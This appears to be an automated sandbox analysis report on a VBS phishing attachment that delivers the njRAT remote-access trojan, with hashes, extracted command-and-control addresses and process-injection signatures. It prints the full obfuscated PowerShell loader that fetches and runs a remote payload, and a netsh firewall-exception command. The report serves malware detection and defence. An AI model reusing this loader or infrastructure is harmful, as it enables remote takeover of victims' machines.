Analysis
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max time kernel
155s -
max time network
199s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
16-09-2021 10:42
Static task
static1
Behavioral task
behavioral1
Sample
Payment On Account.vbs
Resource
win7v20210408
General
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Target
Payment On Account.vbs
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Size
3KB
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MD5
48f019f8bdb3fce7e44649974ab2330f
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SHA1
25ce8749a17bf094e49673141032aa7b4e3893cb
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SHA256
982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379
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SHA512
0387aee4aa180441e42fcbc35d46e16e889706a57be37e8b59f595efa8895b2b096e47738bcd626c0b4d8a9df942edf3162dbbd7f26315d5f5a47081c3c47480
Malware Config
Extracted
http://54.184.87.30/Server.txt
Extracted
njrat
0.7d
HacKed
103.147.184.73:8319
98d5ec0a408febb60524eab801ba601c
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reg_key
98d5ec0a408febb60524eab801ba601c
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splitter
|'|'|
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1900 powershell.exe -
Modifies Windows Firewall 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1900 set thread context of 1368 1900 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1900 powershell.exe 1900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 1900 powershell.exe Token: SeDebugPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe Token: 33 1368 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 1368 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exeaspnet_compiler.exedescription pid process target process PID 2032 wrote to memory of 1900 2032 WScript.exe powershell.exe PID 2032 wrote to memory of 1900 2032 WScript.exe powershell.exe PID 2032 wrote to memory of 1900 2032 WScript.exe powershell.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1900 wrote to memory of 1368 1900 powershell.exe aspnet_compiler.exe PID 1368 wrote to memory of 1332 1368 aspnet_compiler.exe netsh.exe PID 1368 wrote to memory of 1332 1368 aspnet_compiler.exe netsh.exe PID 1368 wrote to memory of 1332 1368 aspnet_compiler.exe netsh.exe PID 1368 wrote to memory of 1332 1368 aspnet_compiler.exe netsh.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/ServerH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1332-76-0x0000000075AA1000-0x0000000075AA3000-memory.dmpFilesize
8KB
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memory/1332-75-0x0000000000000000-mapping.dmp
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memory/1368-72-0x000000000040746E-mapping.dmp
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memory/1368-77-0x0000000004A40000-0x0000000004A41000-memory.dmpFilesize
4KB
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memory/1368-73-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/1368-71-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/1900-65-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
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memory/1900-68-0x0000000002570000-0x0000000002571000-memory.dmpFilesize
4KB
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memory/1900-69-0x000000001C080000-0x000000001C081000-memory.dmpFilesize
4KB
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memory/1900-70-0x000000001B560000-0x000000001B564000-memory.dmpFilesize
16KB
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memory/1900-67-0x000000001AB34000-0x000000001AB36000-memory.dmpFilesize
8KB
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memory/1900-66-0x000000001AB30000-0x000000001AB32000-memory.dmpFilesize
8KB
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memory/1900-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmpFilesize
4KB
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memory/1900-63-0x00000000022E0000-0x00000000022E1000-memory.dmpFilesize
4KB
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memory/1900-61-0x0000000000000000-mapping.dmp
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memory/2032-60-0x000007FEFB891000-0x000007FEFB893000-memory.dmpFilesize
8KB